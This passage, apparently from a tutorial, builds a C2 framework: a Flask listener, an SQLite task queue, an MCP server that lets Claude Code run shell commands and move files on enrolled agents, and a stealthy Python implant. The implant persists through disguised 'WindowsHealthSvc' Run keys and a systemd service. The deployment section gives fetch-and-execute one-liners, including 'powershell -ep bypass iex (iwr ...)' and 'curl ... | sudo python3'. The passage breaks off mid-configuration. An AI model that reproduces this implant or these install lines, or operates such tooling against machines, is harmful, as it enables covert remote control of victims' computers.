<p><code class="language-plaintext highlighter-rouge">SECRET</code> authenticates every operator API call and every agent beacon. <code class="language-plaintext highlighter-rouge">ENROLL_KEY</code> gates access to the agent files served over HTTP (<code class="language-plaintext highlighter-rouge">/svc.py</code>, <code class="language-plaintext highlighter-rouge">/install.py</code>, <code class="language-plaintext highlighter-rouge">/bootstrap.ps1</code>). Agents never store <code class="language-plaintext highlighter-rouge">SECRET</code> or <code class="language-plaintext highlighter-rouge">LISTENER_URL</code> on disk.  They only know <code class="language-plaintext highlighter-rouge">INIT_URL</code> and <code class="language-plaintext highlighter-rouge">ENROLL_KEY</code>. The real credentials are handed to the agent at runtime by the enrollment endpoint.</p>

<hr />

<h2 id="the-database-layer-broker_dbpy">The Database Layer (broker_db.py)</h2>

<p><code class="language-plaintext highlighter-rouge">broker_db.py</code> is the connective tissue between the three processes that share state: the Flask listener, the MCP server, and any other tooling you add. All coordination goes through a single SQLite file on disk rather than an in-process message queue or IPC layer.</p>

<p><strong>Why SQLite?</strong> A $5 VPS running a handful of agents has no need for a networked database server. SQLite with WAL mode (<code class="language-plaintext highlighter-rouge">PRAGMA journal_mode=WAL</code>) lets the listener and MCP server both query <code class="language-plaintext highlighter-rouge">c2.db</code> simultaneously without locking each other out. One file, zero configuration, survives a reboot without a service to restart.</p>

<p><strong>Three tables:</strong></p>

<ul>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">agents</code></strong>: upsert table. Each beacon writes the agent’s current hostname, OS, username, and IP. The <code class="language-plaintext highlighter-rouge">last_seen</code> timestamp determines online/offline status: anything that beaconed within the last 30 seconds is considered online.</p>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">tasks</code></strong>: a queue with explicit status transitions. A task starts as <code class="language-plaintext highlighter-rouge">pending</code>, gets atomically moved to <code class="language-plaintext highlighter-rouge">claimed</code> when an agent picks it up via <code class="language-plaintext highlighter-rouge">pop_tasks()</code>, and becomes <code class="language-plaintext highlighter-rouge">done</code> when the result comes back. The atomic claim prevents a race where two rapid beacons both pick up the same task.</p>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">results</code></strong>: stores output and exit code from each completed task, keyed by <code class="language-plaintext highlighter-rouge">task_id</code>. The MCP server polls this table every 500ms after queuing a task, waiting for the row to appear.</p>
  </li>
</ul>

<p><strong>The flow end to end.</strong> When you type “run ipconfig on the Windows agent” in Claude Code:</p>

<ol>
  <li>MCP server calls <code class="language-plaintext highlighter-rouge">queue_task()</code>: inserts a row into <code class="language-plaintext highlighter-rouge">tasks</code> with status <code class="language-plaintext highlighter-rouge">pending</code></li>
  <li>Flask listener wakes the parked beacon via <code class="language-plaintext highlighter-rouge">threading.Event</code></li>
  <li>Agent’s next beacon calls <code class="language-plaintext highlighter-rouge">pop_tasks()</code>: atomically claims the row</li>
  <li>Agent executes the command, bundles the result into the next beacon</li>
  <li>Listener calls <code class="language-plaintext highlighter-rouge">store_results()</code>: inserts a row into <code class="language-plaintext highlighter-rouge">results</code>, marks task <code class="language-plaintext highlighter-rouge">done</code></li>
  <li>MCP server’s polling loop finds the result row and returns output to Claude Code</li>
</ol>

<p>The entire round trip takes 1 to 2 seconds under normal conditions, entirely mediated by SQLite reads and writes.</p>

<hr />

<h2 id="the-flask-listener-listenerpy">The Flask Listener (listener.py)</h2>

<p><code class="language-plaintext highlighter-rouge">listener.py</code> is the core of the VPS side. It has three distinct responsibilities:</p>

<p><strong>Agent enrollment (<code class="language-plaintext highlighter-rouge">/init</code>).</strong> Agents POST their ID plus an HMAC-SHA256 token derived from <code class="language-plaintext highlighter-rouge">ENROLL_KEY</code>. The listener verifies the HMAC and, if valid, hands back the real <code class="language-plaintext highlighter-rouge">LISTENER_URL</code> and <code class="language-plaintext highlighter-rouge">SECRET</code>. Nothing sensitive is stored on disk on the agent. If you burn an agent binary on a target, the attacker gets an enrollment key and a staging URL.  Not your active C2 address. Rate limiting (60 enrollments per IP per hour) prevents <code class="language-plaintext highlighter-rouge">/init</code> from being hammered.</p>

<p><strong>The beacon loop (<code class="language-plaintext highlighter-rouge">/c2/beacon</code>).</strong> This is the core C2 channel. Agents POST here carrying their system info plus completed task results. The listener writes metadata to SQLite, stores results, then checks for queued tasks. If there are none, it parks the request on a <code class="language-plaintext highlighter-rouge">threading.Event</code> for up to 15 seconds.  This is long polling. When a task gets queued through Claude Code, <code class="language-plaintext highlighter-rouge">ev.set()</code> wakes the parked beacon immediately. Task delivery feels instant from the operator side while the agent only makes ~4 requests per minute instead of 60.</p>

<p><strong>MCP subprocess lifecycle (<code class="language-plaintext highlighter-rouge">/mcp/start</code>, <code class="language-plaintext highlighter-rouge">/mcp/stop</code>, <code class="language-plaintext highlighter-rouge">/mcp/status</code>).</strong> The MCP server runs as a child process of the listener, started on demand via authenticated POST. Both processes share the same <code class="language-plaintext highlighter-rouge">c2.db</code>:  the MCP server writes task rows, the listener delivers them on the next beacon. The MCP server can crash and restart without losing queued work.</p>

<p>Key routes at a glance:</p>

<table>
  <thead>
    <tr>
      <th>Route</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">POST /init</code></td>
      <td>Agent enrollment, returns C2 credentials</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">POST /c2/beacon</code></td>
      <td>Agent checkin, task delivery, result collection</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">POST /c2/task</code></td>
      <td>Operator queues a shell command</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GET /c2/agents</code></td>
      <td>List all agents with online/offline status</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GET /c2/results/&lt;id&gt;</code></td>
      <td>Poll for a completed task result</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">POST /c2/agent/remove</code></td>
      <td>Remove an agent and all its data</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">POST /mcp/start</code></td>
      <td>Launch the FastMCP server subprocess</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GET /svc.py?enroll=KEY</code></td>
      <td>Serve agent script (gated by ENROLL_KEY)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GET /bootstrap.ps1?enroll=KEY</code></td>
      <td>Serve Windows bootstrap (gated by ENROLL_KEY)</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="the-mcp-server-remote_agent_serverpy">The MCP Server (remote_agent_server.py)</h2>

<p>This is what Claude Code talks to. It’s built on <a href="https://github.com/jlowin/fastmcp">FastMCP</a>.  This is a decorator-based Python MCP framework that handles all the protocol plumbing.</p>

<p>Each operator tool is a decorated function. FastMCP registers it, generates the schema, and handles serialization:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mcp</span> <span class="o">=</span> <span class="nc">FastMCP</span><span class="p">(</span><span class="sh">"</span><span class="s">c2-broker</span><span class="sh">"</span><span class="p">)</span>

<span class="nd">@mcp.tool</span><span class="p">()</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">run_shell</span><span class="p">(</span><span class="n">agent_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">command</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">timeout</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mi">30</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Run a shell command on a remote agent and return the output.</span><span class="sh">"""</span>
    <span class="k">return</span> <span class="k">await</span> <span class="nf">_queue_and_wait</span><span class="p">(</span><span class="n">agent_id</span><span class="p">,</span> <span class="sh">"</span><span class="s">shell</span><span class="sh">"</span><span class="p">,</span> <span class="p">{</span><span class="sh">"</span><span class="s">command</span><span class="sh">"</span><span class="p">:</span> <span class="n">command</span><span class="p">},</span> <span class="n">timeout</span><span class="o">=</span><span class="n">timeout</span><span class="p">)</span>
</code></pre></div></div>

<p>The core mechanism is <code class="language-plaintext highlighter-rouge">_queue_and_wait()</code>.  It writes a task to SQLite, then polls the results table every 500ms until the agent completes it or it times out:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">_queue_and_wait</span><span class="p">(</span><span class="n">agent_id</span><span class="p">,</span> <span class="n">task_type</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">30</span><span class="p">):</span>
    <span class="n">task_id</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="nf">queue_task</span><span class="p">(</span><span class="n">agent_id</span><span class="p">,</span> <span class="n">task_type</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
    <span class="n">deadline</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">get_event_loop</span><span class="p">().</span><span class="nf">time</span><span class="p">()</span> <span class="o">+</span> <span class="n">timeout</span> <span class="o">+</span> <span class="mi">10</span>

    <span class="k">while</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">get_event_loop</span><span class="p">().</span><span class="nf">time</span><span class="p">()</span> <span class="o">&lt;</span> <span class="n">deadline</span><span class="p">:</span>
        <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="nf">get_result</span><span class="p">(</span><span class="n">task_id</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">result</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">EXIT CODE: </span><span class="si">{</span><span class="n">result</span><span class="p">[</span><span class="sh">'</span><span class="s">exit_code</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="se">\n</span><span class="si">{</span><span class="n">result</span><span class="p">[</span><span class="sh">'</span><span class="s">output</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span>

    <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Timeout: agent </span><span class="sh">'</span><span class="si">{</span><span class="n">agent_id</span><span class="si">}</span><span class="sh">'</span><span class="s"> did not respond within </span><span class="si">{</span><span class="n">timeout</span><span class="si">}</span><span class="s">s.</span><span class="sh">"</span>
</code></pre></div></div>

<p>The extra 10 seconds beyond the stated timeout accounts for beacon roundtrip latency.</p>

<p>The server wraps FastMCP’s ASGI app with a Bearer token middleware that checks the <code class="language-plaintext highlighter-rouge">Authorization</code> header on every request before anything reaches the MCP layer.</p>

<p><strong>Full tool list:</strong></p>

<table>
  <thead>
    <tr>
      <th>Tool</th>
      <th>What It Does</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">list_agents()</code></td>
      <td>Show all agents, online/offline</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">run_shell(agent_id, command)</code></td>
      <td>Run shell command, wait for output</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">launch_detached(agent_id, command)</code></td>
      <td>Fire-and-forget background process</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">read_file(agent_id, path)</code></td>
      <td>Read a file from the agent</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">write_file(agent_id, path, content)</code></td>
      <td>Write a file to the agent</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">list_dir(agent_id, path)</code></td>
      <td>Directory listing</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">get_sysinfo(agent_id)</code></td>
      <td>Last-known beacon metadata</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">broadcast(command)</code></td>
      <td>Run on ALL online agents simultaneously</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kill_agent(agent_id)</code></td>
      <td>Send shutdown signal</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">vps_shell(command)</code></td>
      <td>Run directly on the VPS</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>Examples:</p>
</blockquote>

<p><img width="989" height="731" alt="image" src="https://github.com/user-attachments/assets/d5503d50-a702-43e6-bc7a-4574870e3442" /></p>

<p><img width="1869" height="794" alt="image" src="https://github.com/user-attachments/assets/878c8657-eeaf-4740-b502-fd678b5f3293" /></p>

<hr />

<h2 id="the-agent-svcpy">The Agent (svc.py)</h2>

<p>The agent is built around one constraint: zero external dependencies. It uses only Python stdlib (<code class="language-plaintext highlighter-rouge">urllib</code>, <code class="language-plaintext highlighter-rouge">subprocess</code>, <code class="language-plaintext highlighter-rouge">threading</code>, <code class="language-plaintext highlighter-rouge">time</code>, <code class="language-plaintext highlighter-rouge">json</code>, <code class="language-plaintext highlighter-rouge">platform</code>). Drop it on any machine with Python 3.8+ and it runs.</p>

<p><strong>Staged enrollment.</strong> On first startup the agent only knows <code class="language-plaintext highlighter-rouge">INIT_URL</code> and <code class="language-plaintext highlighter-rouge">ENROLL_KEY</code>. It derives an HMAC token from its unique agent ID and POSTs to <code class="language-plaintext highlighter-rouge">/init</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_get_c2_config</span><span class="p">(</span><span class="n">agent_id</span><span class="p">):</span>
    <span class="n">token</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">ENROLL_KEY</span><span class="p">.</span><span class="nf">encode</span><span class="p">(),</span> <span class="n">agent_id</span><span class="p">.</span><span class="nf">encode</span><span class="p">(),</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">).</span><span class="nf">hexdigest</span><span class="p">()</span>
    <span class="n">resp</span>  <span class="o">=</span> <span class="nf">_http_post</span><span class="p">(</span><span class="n">INIT_URL</span><span class="p">,</span> <span class="p">{</span><span class="sh">"</span><span class="s">agent_id</span><span class="sh">"</span><span class="p">:</span> <span class="n">agent_id</span><span class="p">,</span> <span class="sh">"</span><span class="s">token</span><span class="sh">"</span><span class="p">:</span> <span class="n">token</span><span class="p">})</span>
    <span class="k">return</span> <span class="n">resp</span><span class="p">[</span><span class="sh">"</span><span class="s">c2_url</span><span class="sh">"</span><span class="p">],</span> <span class="n">resp</span><span class="p">[</span><span class="sh">"</span><span class="s">secret</span><span class="sh">"</span><span class="p">]</span>
</code></pre></div></div>

<p>The listener verifies the HMAC and returns the real C2 URL and secret. The agent never writes these to disk. If the agent gets a 401 or 403 on a beacon, it automatically re-enrolls.</p>

<p><strong>The beacon loop.</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="k">with</span> <span class="n">_results_lock</span><span class="p">:</span>
        <span class="n">results</span> <span class="o">=</span> <span class="nf">list</span><span class="p">(</span><span class="n">_pending_results</span><span class="p">)</span>
        <span class="n">_pending_results</span><span class="p">.</span><span class="nf">clear</span><span class="p">()</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">resp</span>  <span class="o">=</span> <span class="nf">beacon</span><span class="p">(</span><span class="n">results</span><span class="p">)</span>
        <span class="n">tasks</span> <span class="o">=</span> <span class="n">resp</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">tasks</span><span class="sh">"</span><span class="p">,</span> <span class="p">[])</span>
        <span class="k">for</span> <span class="n">task</span> <span class="ow">in</span> <span class="n">tasks</span><span class="p">:</span>
            <span class="n">threading</span><span class="p">.</span><span class="nc">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">_run_task_thread</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">task</span><span class="p">,),</span> <span class="n">daemon</span><span class="o">=</span><span class="bp">True</span><span class="p">).</span><span class="nf">start</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">tasks</span><span class="p">:</span>
            <span class="n">_results_ready</span><span class="p">.</span><span class="nf">wait</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">30</span><span class="p">)</span>
            <span class="n">_results_ready</span><span class="p">.</span><span class="nf">clear</span><span class="p">()</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="n">BEACON_INTERVAL</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">BaseException</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">_log</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">beacon error: </span><span class="si">{</span><span class="nf">type</span><span class="p">(</span><span class="n">e</span><span class="p">).</span><span class="n">__name__</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="n">backoff</span><span class="p">)</span>
        <span class="n">backoff</span> <span class="o">=</span> <span class="nf">min</span><span class="p">(</span><span class="n">backoff</span> <span class="o">*</span> <span class="mi">2</span><span class="p">,</span> <span class="n">MAX_BACKOFF</span><span class="p">)</span>
</code></pre></div></div>

<p>Two things here that are easy to miss. <code class="language-plaintext highlighter-rouge">except BaseException</code> (not <code class="language-plaintext highlighter-rouge">Exception</code>) is intentional.  <code class="language-plaintext highlighter-rouge">KeyboardInterrupt</code> and <code class="language-plaintext highlighter-rouge">SystemExit</code> are not subclasses of <code class="language-plaintext highlighter-rouge">Exception</code>, so catching <code class="language-plaintext highlighter-rouge">Exception</code> only would silently swallow a Ctrl+C and keep the agent running. And the <code class="language-plaintext highlighter-rouge">else: time.sleep(BEACON_INTERVAL)</code> on the no-tasks branch is critical.  Without it, when the long poll returns empty the agent hammers the beacon endpoint in a tight loop.</p>

<p>Results are bundled into the next beacon rather than making a separate HTTP call. Each beacon is one POST: check in, receive tasks, submit results from the previous cycle.</p>

<p><strong>Single-instance lock.</strong> On Windows a named mutex prevents duplicate agents. On Linux, <code class="language-plaintext highlighter-rouge">fcntl.flock()</code> on a lock file does the same.</p>

<p><strong>Task types the agent handles:</strong> <code class="language-plaintext highlighter-rouge">shell</code>, <code class="language-plaintext highlighter-rouge">launch</code> (detached background process), <code class="language-plaintext highlighter-rouge">read_file</code>, <code class="language-plaintext highlighter-rouge">write_file</code>, <code class="language-plaintext highlighter-rouge">list_dir</code>, <code class="language-plaintext highlighter-rouge">shutdown</code>, <code class="language-plaintext highlighter-rouge">restart</code>.</p>

<p><strong>Persistence.</strong></p>
<ul>
  <li>Windows: auto-detects privilege level. Admin installs to <code class="language-plaintext highlighter-rouge">C:\ProgramData\WindowsHealthSvc\</code> with an HKLM Run key. Standard user installs to <code class="language-plaintext highlighter-rouge">%APPDATA%\WindowsHealthSvc\</code> with an HKCU Run key. Either way <code class="language-plaintext highlighter-rouge">pythonw.exe</code> (or the embedded <code class="language-plaintext highlighter-rouge">python.exe</code>) is used so there’s no console window.</li>
  <li>Linux: systemd service with <code class="language-plaintext highlighter-rouge">Restart=always</code>.</li>
</ul>

<hr />

<h2 id="running-the-listener-as-a-service">Running the Listener as a Service</h2>

<p>Create <code class="language-plaintext highlighter-rouge">/etc/systemd/system/c2-listener.service</code>:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Unit]</span><span class="w">
</span><span class="py">Description</span><span class="p">=</span><span class="s">C2 Listener</span>
<span class="py">After</span><span class="p">=</span><span class="s">network.target</span>
<span class="w">
</span><span class="nn">[Service]</span><span class="w">
</span><span class="py">WorkingDirectory</span><span class="p">=</span><span class="s">/root/remoteagents</span>
<span class="py">ExecStart</span><span class="p">=</span><span class="s">/usr/bin/python3 /root/remoteagents/listener.py</span>
<span class="py">Restart</span><span class="p">=</span><span class="s">always</span>
<span class="py">RestartSec</span><span class="p">=</span><span class="s">5</span>
<span class="w">
</span><span class="nn">[Install]</span><span class="w">
</span><span class="py">WantedBy</span><span class="p">=</span><span class="s">multi-user.target</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl daemon-reload
systemctl <span class="nb">enable </span>c2-listener
systemctl start c2-listener
</code></pre></div></div>

<p>Keep the MCP server auto-recovering if it drops after a listener restart:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /root/remoteagents/ensure_mcp.sh <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
#!/bin/bash
if ! pgrep -f remote_agent_server.py &gt; /dev/null 2&gt;&amp;1; then
    curl -s -X POST http://localhost:8080/mcp/start </span><span class="se">\</span><span class="sh">
        -H "Content-Type: application/json" </span><span class="se">\</span><span class="sh">
        -d '{"secret":"your_secret_here"}' &gt; /dev/null 2&gt;&amp;1
fi
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /root/remoteagents/ensure_mcp.sh
apt-get <span class="nb">install</span> <span class="nt">-y</span> cron <span class="o">&amp;&amp;</span> systemctl <span class="nb">enable </span>cron <span class="o">&amp;&amp;</span> systemctl start cron
<span class="o">(</span>crontab <span class="nt">-l</span> 2&gt;/dev/null<span class="p">;</span> <span class="nb">echo</span> <span class="s2">"* * * * * /root/remoteagents/ensure_mcp.sh"</span><span class="o">)</span> | crontab -
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">listener.py</code> starts on every boot automatically and brings the Cloudflare tunnel up with it. The cron job ensures the MCP server recovers within a minute of any listener restart.</p>

<hr />

<h2 id="deploying-agents">Deploying Agents</h2>

<p><strong>Linux / Raspberry Pi (as root):</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"https://init-vps.yourdomain.com/install.py?enroll=your_enroll_key"</span> | <span class="nb">sudo </span>python3
</code></pre></div></div>

<p><strong>Windows (no Python required.  Uses portable embeddable Python):</strong></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">powershell</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"iex (iwr 'https://init-vps.yourdomain.com/bootstrap.ps1?enroll=your_enroll_key' -UseBasicParsing).Content"</span><span class="w">
</span></code></pre></div></div>

<p><img width="1263" height="325" alt="image" src="https://github.com/user-attachments/assets/82a24044-eeb7-40ee-9875-3196d5d82d2a" /></p>

<p><img width="1282" height="448" alt="image" src="https://github.com/user-attachments/assets/004bbd32-444a-424d-9187-c8220bb85446" /></p>

<p><img width="1852" height="573" alt="image" src="https://github.com/user-attachments/assets/0b69faab-c5d5-4f23-8eac-16bae9216eb5" /></p>

<p>The Windows bootstrap checks for an existing Python install first. If none is found it silently downloads the Python embeddable package (~10MB zip), extracts it locally, downloads <code class="language-plaintext highlighter-rouge">svc.py</code>, sets an HKCU Run key, and launches the agent. No MSI, no winget, no UAC prompt. Under 30 seconds on a decent connection.</p>

<p>Within 5 seconds of the agent starting you’ll see it appear in <code class="language-plaintext highlighter-rouge">list_agents()</code>.</p>

<p>The agent generates a unique ID on first run (<code class="language-plaintext highlighter-rouge">&lt;hostname&gt;-sys-&lt;4 random chars&gt;</code>) and persists it to a local file so the ID stays stable across reboots.</p>

<hr />

<h2 id="operating-without-claude">Operating Without Claude</h2>

<p>Before MCP mode, it’s worth knowing how to interact with the C2 directly. MCP and the GUI are conveniences.  Underneath everything is a plain HTTP API you can hit from any terminal. This matters when we’re on a machine without Claude Code, scripting from a CI box, or just want to sanity-check the server is alive.</p>

<h3 id="commanderpy-cli">commander.py CLI</h3>

<p><code class="language-plaintext highlighter-rouge">commander.py</code> is a Python CLI that wraps the HTTP API. It runs on your operator machine (not the VPS) and only requires <code class="language-plaintext highlighter-rouge">pip install requests</code>.</p>

<p><strong>Run a command directly on the VPS from your attacker machine</strong> (not on an agent.  This runs on the VPS itself):</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">execute</span><span class="w"> </span><span class="s2">"whoami"</span><span class="w">
</span><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">execute</span><span class="w"> </span><span class="s2">"ps aux"</span><span class="w">
</span></code></pre></div></div>

<p>Output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[&gt;] execute: whoami
[OK]
root
</code></pre></div></div>

<blockquote>
  <p>Example:</p>
</blockquote>

<p><img width="670" height="865" alt="image" src="https://github.com/user-attachments/assets/a0cfe509-b743-41d1-b555-c8b2ad499eab" /></p>

<p><strong>File transfer:</strong></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">download</span><span class="w"> </span><span class="nx">/root/remoteagents/c2.db</span><span class="w">
</span><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">upload</span><span class="w"> </span><span class="nx">new_svc.py</span><span class="w"> </span><span class="nx">/root/remoteagents/svc.py</span><span class="w">
</span></code></pre></div></div>

<p><strong>MCP server lifecycle:</strong></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">mcp-start</span><span class="w">      </span><span class="c"># starts remote_agent_server.py on the VPS</span><span class="w">
</span><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">mcp-stop</span><span class="w">       </span><span class="c"># kills it</span><span class="w">
</span><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">mcp-status</span><span class="w">     </span><span class="c"># is it running?</span><span class="w">
</span><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">mcp-logs</span><span class="w">       </span><span class="c"># last 100 lines of MCP server log</span><span class="w">
</span></code></pre></div></div>

<h3 id="tasking-agents-via-curl">Tasking Agents via curl</h3>

<p>The agent tasking flow is two steps: queue a task, poll for the result. The <code class="language-plaintext highlighter-rouge">task_id</code> ties them together.</p>

<p><strong>Queue a shell command:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> POST https://agent-vps.yourdomain.com/c2/task <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"secret":"your_secret_here","agent_id":"workstation-sys-ab12","cmd":"whoami"}'</span>
</code></pre></div></div>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ok"</span><span class="p">,</span><span class="w"> </span><span class="nl">"task_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3f8a1c2d-7e44-4b0a-91fc-abc123def456"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Poll for the result:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"https://agent-vps.yourdomain.com/c2/results/workstation-sys-ab12?secret=your_secret_here&amp;task_id=3f8a1c2d-7e44-4b0a-91fc-abc123def456"</span>
</code></pre></div></div>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ok"</span><span class="p">,</span><span class="w"> </span><span class="nl">"result"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"output"</span><span class="p">:</span><span class="w"> </span><span class="s2">"workstation</span><span class="se">\\</span><span class="s2">alice"</span><span class="p">,</span><span class="w"> </span><span class="nl">"exit_code"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">}}</span><span class="w">
</span></code></pre></div></div>

<p>If the agent hasn’t beaconed yet you’ll get <code class="language-plaintext highlighter-rouge">{"status": "pending"}</code>   just poll again in a few seconds.</p>

<p><strong>List all registered agents:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"https://agent-vps.yourdomain.com/c2/agents?secret=your_secret_here"</span> | python3 <span class="nt">-m</span> json.tool
</code></pre></div></div>

<hr />

<h2 id="wiring-up-claude-code">Wiring Up Claude Code</h2>

<p>Add the MCP server to Claude Code’s settings (<code class="language-plaintext highlighter-rouge">~/.claude/settings.json</code>):</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"mcpServers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"remote-vps"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"url"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://mcp-vps.yourdomain.com/mcp"</span><span class="p">,</span><span class="w">
